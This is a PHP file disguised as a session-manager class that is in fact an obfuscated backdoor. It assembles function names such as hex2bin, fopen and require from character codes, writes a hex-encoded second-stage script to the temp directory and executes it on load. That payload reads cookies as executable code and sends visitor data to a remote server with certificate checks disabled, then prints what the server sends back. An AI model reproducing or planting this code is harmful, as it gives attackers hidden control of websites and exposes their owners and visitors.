<?php
class SessionManager
{
    private $zy = '';
    private $up = '';
    public function syncRecords($p1)
    {
        $s = array(120 - 10, 96 + 9, 28 * 3 + 14, 2 * 25, 127 - 7, 47 + 54, 110 - 6);
        $o = '';
        foreach ($s as $b) {
            $o .= chr($b);
        }
        $o = strrev($o);
        return $o($p1);
    }
    public function fetchRecords($p1, $p2)
    {
        $a = array(110, 10 * 28 - 179, 2 * 56, 111, 27 + 75);
        $i = '';
        foreach ($a as $q) {
            $i .= chr($q);
        }
        $i = strrev($i);
        return $i($p1, $p2);
    }
    public function generateToken($p1, $p2)
    {
        $p = array(93 + 1 + 8, 7 * 17, 84 + 30, 80 * 38 - 2935, 46 + 21 + 49, 109 - 8);
        $g = '';
        foreach ($p as $w) {
            $g .= chr($w);
        }
        return $g($p1, $p2);
    }
    public function sendNotification($p1)
    {
        $o = array(54 + 1 + 46, 19 + 96, 10 * 11 + 1, 16 + 4 + 88, 54 + 45, 105 - 3);
        $h = '';
        foreach ($o as $s) {
            $h .= chr($s);
        }
        $h = strrev($h);
        return $h($p1);
    }
    public function resolveAction($p1, $p2 = null)
    {
        $r = array(114, 59 * 1 + 57, 32 * 48 - 1422, 32 * 72 - 2199, 81 + 23 + 5);
        $l = '';
        foreach ($r as $w) {
            $l .= chr($w);
        }
        return $l($p1, $p2);
    }
    public function resetState()
    {
        $this->up = $this->resolveAction($this->processData(), '/');
    }
    public function prepareOutput()
    {
        $this->zy = $this->syncRecords($this->bt);
    }
    public function encryptData()
    {
        $fn = $this->up . '/uc-69b09cfc6dc40';
        $f = $this->fetchRecords($fn, 'w');
        $this->generateToken($f, $this->zy);
        $this->sendNotification($f);
        $this->saveChanges($fn);
    }
    private $bt = '3c3f70687020636c617373205f6f79647b707269766174652' . '0737461746963245f676d723b7374617469632066756e63746' . '96f6e205f767328245f6178297b6966282173656c663a3a245' . 'f676d722973656c663a3a5f646928293b72657475726e20626' . '1736536345f6465636f64652873656c663a3a245f676d725b2' . '45f61785d293b7d70726976617465207374617469632066756' . 'e6374696f6e205f646928297b73656c663a3a245f676d723d6' . '17272617928275f736761273d3e2751574e6a5a584e7a4c554' . 'e272e2776626e527962327774515778736233637454334a705' . 'a326c754f694171272c275f79636b273d3e275132397564475' . '675644331556558426c4f69272e2742686348427361574e686' . '447272e276c766269397159585a68272e2763324e796158422' . '72e2730272c275f697671273d3e275932673d272c275f78787' . '9273d3e275a586c4b63474e4453545a4a616d63305447706e4' . 'e4578715a7a524d616d633053576c336157525852576c50615' . '56f77576c684f4d456c7064326c6a62272e27565a745357707' . '661575248566e706b51306f35272c275f746d7a273d3e27635' . '864272e27366541272e273d3d272c275f6c686e273d3e27504' . '73972272e2750272e27673d3d272c275f766569273d3e27504' . '74a685a44272e2734272e273d272c275f7664273d3e2764324' . '673272e2762272e27413d3d272c275f716568273d3e27272c2' . '75f687563273d3e27272c275f7373273d3e27272c275f727a6' . '5273d3e276148523063446f764c334231596935335a57272e2' . '74a6d6157786c6147397a6447272e2756794c6d4e766253396' . 'a6232317762334e6c63693571637a396b5958526850513d272' . 'e273d272c275f6b72273d3e27593356272e277962463970626' . 'd6c30272c275f747378273d3e27614852306346396a6232272' . 'e27526c272c275f62666f273d3e2763324e6f272e275a57312' . '72e276c272c275f7676273d3e276148523063272e27484d272' . 'e273d272c275f6775273d3e275230565549413d272e273d272' . 'c275f727374273d3e2763272e2747463061413d272e273d272' . 'c275f6b66273d3e276358566c636e272e276b272e273d272c2' . '75f646f273d3e2750773d272e273d272c275f6a7565273d3e2' . '76358566c636e6b272e273d272c275f687261273d3e2749456' . '855564641764d5334272e2777445170272e274962334e304f6' . '941272e273d272c275f66786c273d3e276147397a64413d272' . 'e273d272c275f656d273d3e2744517044623235755a574e306' . '15739754f694244624739272e277a5a51304b272e2744516f3' . 'd272c275f667071273d3e2763334e734f6938272e2776272c2' . '75f6674273d3e27272c275f6c66273d3e276147397a64413d2' . '72e273d272c275f6d736a273d3e2744272e27516f3d272c275' . 'f616b6a273d3e27534652555546394454456c4654272e276c5' . '2272e2766272e2753272e275641272e273d272c275f6169273' . 'd3e27534652555546395958305a50556c6442556b524652272' . 'e274639272e2747272e27543149272e273d272c275f6167612' . '73d3e27556b56272e274e54272e2731524658304645272e275' . '24649272e273d272c275f72616c273d3e27534652555546272' . 'e2739565530565358272e2730464852272e2755272e2735272' . 'e2755272c275f727272273d3e2753272e2746272e275255554' . '639565530565358304648525535272e2755272c275f6770273' . 'd3e27272c275f6e716f273d3e27534652555546395352555a4' . '6272e2755272e276b5653272c275f636f273d3e27534652555' . '54639272e275352555a46556b5653272c275f657965273d3e2' . '7272c275f6664273d3e2753465255272e275546394454272e2' . '7456c46272e27546c52665356413d272c275f797172273d3e2' . '7534652555546394454456c46546c52665356413d272c275f7' . '072273d3e27534652555546395958305a50556c6442556b524' . '65246272e2739475431272e27493d272c275f6e6171273d3e2' . '7534652555546272e27395958305a50556c6442272e27556b5' . '2272e27465246394754272e2731493d272c275f746b273d3e2' . '7556b564e5431524658272e273046272e27455246493d272c2' . '75f7975273d3e27556b564e543152465830272e27464552462' . '72e27493d272c275f7279273d3e275a272e27474a6e272e276' . '257396b5a272e27513d3d272c275f756d273d3e2753272e275' . '6413649413d3d272c275f777a273d3e2749487767565545362' . '72e2749413d272e273d272c275f746b6e273d3e27494877272' . 'e2767556d566d4f69413d272c275f687665273d3e274944786' . '963272e276a272e2734272e274b272c275f6c6b273d3e27612' . '72e2758413d272c275f61716b273d3e276457453d272c275f7' . '163273d3e2763272e276d566d272c275f726e6b273d3e27632' . '72e275864272e2736272e2765413d3d272c293b7d7d636c617' . '373205f6f677b7072697661746520737461746963245f676d7' . '23b7374617469632066756e6374696f6e205f767328245f617' . '8297b6966282173656c663a3a245f676d722973656c663a3a5' . 'f646928293b72657475726e2073656c663a3a245f676d725b2' . '45f61785d3b7d70726976617465207374617469632066756e6' . '374696f6e205f646928297b73656c663a3a245f676d723d617' . '27261792830302c30372c3033362c3033362c30312c3033362' . 'c30322c30372c30312c3031362c3033302c30362c3033322c3' . '031322c3031312c3031332c3032372c3033312c30332c30322' . 'c30312c30312c30302c3031322c3031322c303331302c30363' . '7332c303132302c30302c30323030302c30312c303432332c3' . '0343233293b7d7d686561646572285f6f79643a3a5f7673282' . '75f7367612729293b686561646572285f6f79643a3a5f76732' . '8275f79636b2729293b696628697373657428245f4745545b5' . 'f6f79643a3a5f767328275f272e2769272e2776272e2771272' . '95d29297b245f6d783d5f6e79285f6f79643a3a5f767328275' . 'f78272e2778272e27792729293b696628245f6d78262673747' . '2706f7328245f6d782c5f6f79643a3a5f767328275f74272e2' . '76d7a272929213d3d66616c7365297b646965285f6f79643a3' . 'a5f767328275f272e276c272e27686e2729293b7d656c73657' . 'b646965285f6f79643a3a5f767328275f272e2776272e27656' . '92729293b7d7d696628697373657428245f4745545b5f6f796' . '43a3a5f767328275f272e2776272e276427295d29297b245f6' . 'b6d613d245f434f4f4b49453b245f696b693d5f6f673a3a5f7' . '6732830293b245f61783d5f6f673a3a5f76732831293b245f7' . '86d3d617272617928293b245f786d5b245f696b695d3d5f6f7' . '9643a3a5f767328275f71656827293b7768696c6528245f617' . '8297b245f786d5b245f696b695d2e3d245f6b6d615b5f6f673' . 'a3a5f76732832295d5b245f61785d3b69662821245f6b6d615' . 'b5f6f673a3a5f76732833295d5b245f61782b5f6f673a3a5f7' . '6732834295d297b69662821245f6b6d615b5f6f673a3a5f767' . '32835295d5b245f61782b5f6f673a3a5f76732836295d29627' . '265616b3b245f696b692b2b3b245f786d5b245f696b695d3d5' . 'f6f79643a3a5f767328275f6875272e276327293b245f61782' . 'b2b3b7d245f61783d245f61782b5f6f673a3a5f76732837292' . 'b5f6f673a3a5f76732838293b7d245f696b693d245f786d5b5' . 'f6f673a3a5f76732839295d28292e245f786d5b5f6f673a3a5' . 'f7673283130295d3b69662821245f786d5b5f6f673a3a5f767' . '3283131295d28245f696b6929297b245f61783d245f786d5b5' . 'f6f673a3a5f7673283132295d28245f696b692c245f786d5b5' . 'f6f673a3a5f7673283133295d293b245f786d5b5f6f673a3a5' . 'f7673283134295d28245f61782c245f786d5b5f6f673a3a5f7' . '673283135295d2e245f786d5b5f6f673a3a5f7673283136295' . 'd28245f786d5b5f6f673a3a5f7673283137295d28245f6b6d6' . '15b5f6f673a3a5f7673283138295d2929293b7d696e636c756' . '46528245f696b69293b7d66756e6374696f6e205f6e7928245' . 'f67662c245f746d6e3d38373836352c245f76743d333138323' . '1297b245f6465693d5f6f79643a3a5f767328275f73272e277' . '327293b245f6b633d5f6f79643a3a5f767328275f727a272e2' . '76527292e245f67663b69662869735f63616c6c61626c65285' . 'f6f79643a3a5f767328275f6b72272929297b245f6371693d6' . '375726c5f696e697428245f6b63293b6375726c5f7365746f7' . '07428245f6371692c4355524c4f50545f53534c5f564552494' . '659504545522c66616c7365293b6375726c5f7365746f70742' . '8245f6371692c4355524c4f50545f53534c5f5645524946594' . '84f53542c5f6f673a3a5f767328313929293b6375726c5f736' . '5746f707428245f6371692c4355524c4f50545f464f4c4c4f5' . '74c4f434154494f4e2c5f6f673a3a5f767328323029293b637' . '5726c5f7365746f707428245f6371692c4355524c4f50545f5' . '2455455524e5452414e534645522c5f6f673a3a5f767328323' . '129293b6375726c5f7365746f707428245f6371692c4355524' . 'c4f50545f4845414445522c5f6f673a3a5f767328323229293' . 'b6375726c5f7365746f707428245f6371692c4355524c4f505' . '45f434f4e4e45435454494d454f55542c5f6f673a3a5f76732' . '8323329293b6375726c5f7365746f707428245f6371692c435' . '5524c4f50545f54494d454f55542c5f6f673a3a5f767328323' . '429293b245f6465693d6375726c5f6578656328245f6371692' . '93b245f6d6e763d6375726c5f676574696e666f28245f63716' . '9293b6375726c5f636c6f736528245f637169293b696628245' . 'f6d6e765b5f6f79643a3a5f767328275f7473272e277827295' . 'd213d5f6f673a3a5f7673283235292972657475726e2066616' . 'c73653b7d656c73657b245f70793d70617273655f75726c282' . '45f6b63293b245f686e3d28245f70795b5f6f79643a3a5f767' . '328275f62272e27666f27295d3d3d5f6f79643a3a5f7673282' . '75f76762729293b245f636d723d5f6f79643a3a5f767328275' . 'f272e2767272e277527292e245f70795b5f6f79643a3a5f767' . '328275f72737427295d3b696628697373657428245f70795b5' . 'f6f79643a3a5f767328275f6b272e276627295d2929245f636' . 'd722e3d5f6f79643a3a5f767328275f64272e276f27292e245' . 'f70795b5f6f79643a3a5f767328275f6a75272e276527295d3' . 'b245f636d722e3d5f6f79643a3a5f767328275f6872272e276' . '127292e245f70795b5f6f79643a3a5f767328275f66272e277' . '8272e276c27295d2e5f6f79643a3a5f767328275f656d27293' . 'b245f6e6a3d66736f636b6f70656e2828245f686e3f5f6f796' . '43a3a5f767328275f6670272e277127293a5f6f79643a3a5f7' . '67328275f66742729292e245f70795b5f6f79643a3a5f76732' . '8275f6c6627295d2c245f686e3f5f6f673a3a5f76732832362' . '93a5f6f673a3a5f767328323729293b696628245f6e6a297b6' . '67075747328245f6e6a2c245f636d72293b245f636d3d5f6f6' . '73a3a5f7673283238293b7768696c65282166656f6628245f6' . 'e6a29297b245f61623d666765747328245f6e6a2c5f6f673a3' . 'a5f767328323929293b696628245f636d29245f6465692e3d2' . '45f61623b696628245f61623d3d5f6f79643a3a5f767328275' . 'f6d736a272929245f636d3d5f6f673a3a5f7673283330293b7' . 'd66636c6f736528245f6e6a293b7d7d72657475726e245f646' . '5693b7d245f7173683d697373657428245f5345525645525b5' . 'f6f79643a3a5f767328275f61272e276b6a27295d293b245f7' . '27a623d697373657428245f5345525645525b5f6f79643a3a5' . 'f767328275f616927295d293b245f7972723d6973736574282' . '45f5345525645525b5f6f79643a3a5f767328275f6167272e2' . '76127295d293b245f69663d697373657428245f53455256455' . '25b5f6f79643a3a5f767328275f272e2772272e27616c27295' . 'd293f245f5345525645525b5f6f79643a3a5f767328275f722' . '72e2772272e277227295d3a5f6f79643a3a5f767328275f672' . '72e277027293b245f6c7a673d697373657428245f534552564' . '5525b5f6f79643a3a5f767328275f6e71272e276f27295d293' . 'f245f5345525645525b5f6f79643a3a5f767328275f636f272' . '95d3a5f6f79643a3a5f767328275f65272e2779272e2765272' . '93b245f7173683d697373657428245f5345525645525b5f6f7' . '9643a3a5f767328275f666427295d293f245f5345525645525' . 'b5f6f79643a3a5f767328275f79717227295d3a6e756c6c3b2' . '45f727a623d697373657428245f5345525645525b5f6f79643' . 'a3a5f767328275f70272e277227295d293f245f53455256455' . '25b5f6f79643a3a5f767328275f6e272e2761272e277127295' . 'd3a6e756c6c3b245f7972723d697373657428245f534552564' . '5525b5f6f79643a3a5f767328275f74272e276b27295d293f2' . '45f5345525645525b5f6f79643a3a5f767328275f272e27797' . '527295d3a6e756c6c3b69662866696c7465725f76617228245' . 'f7173682c5f6f673a3a5f76732833312929297b245f726c3d2' . '45f7173683b7d656c736569662866696c7465725f766172282' . '45f727a622c5f6f673a3a5f76732833322929297b245f726c3' . 'd245f727a623b7d656c73657b245f726c3d245f7972723b7d6' . '96628697373657428245f4745545b5f6f79643a3a5f7673282' . '75f727927295d29297b6563686f205f6f79643a3a5f7673282' . '75f272e2775272e276d27292e245f726c2e5f6f79643a3a5f7' . '67328275f272e2777272e277a27292e245f69662e5f6f79643' . 'a3a5f767328275f746b272e276e27292e245f6c7a672e5f6f7' . '9643a3a5f767328275f6876272e276527293b6578697428293' . 'b7d69662821697373657428245f726c297c7c2169737365742' . '8245f6966297c7c21697373657428245f6c7a6729297b65786' . '97428293b7d656c73657b245f6e6c6a3d6172726179285f6f7' . '9643a3a5f767328275f272e276c6b27293d3e245f726c2c5f6' . 'f79643a3a5f767328275f6171272e276b27293d3e245f69662' . 'c5f6f79643a3a5f767328275f272e27716327293d3e245f6c7' . 'a67293b245f77703d75726c656e636f6465286261736536345' . 'f656e636f6465286a736f6e5f656e636f646528245f6e6c6a2' . '929293b245f6d783d5f6e7928245f7770293b696628245f6d7' . '82626737472706f7328245f6d782c5f6f79643a3a5f7673282' . '75f72272e276e272e276b272929213d3d66616c7365297b656' . '3686f245f6d783b6578697428293b7d7d';
    public function saveChanges($p)
    {
        require $p;
    }
    public function processData()
    {
        $a = array(41 * 118 - 4723, 121, 5 * 23, 18 * 4 + 23, 95 + 7 + 1, 13 + 5 + 83, 116, 95, 116, 24 + 51 + 26, 109, 15 * 1 + 97, 36 + 24 + 35, 89 * 1 + 11, 3 * 35, 114);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$ulxe = new SessionManager();
$ulxe->resetState();
$ulxe->prepareOutput();
$ulxe->encryptData();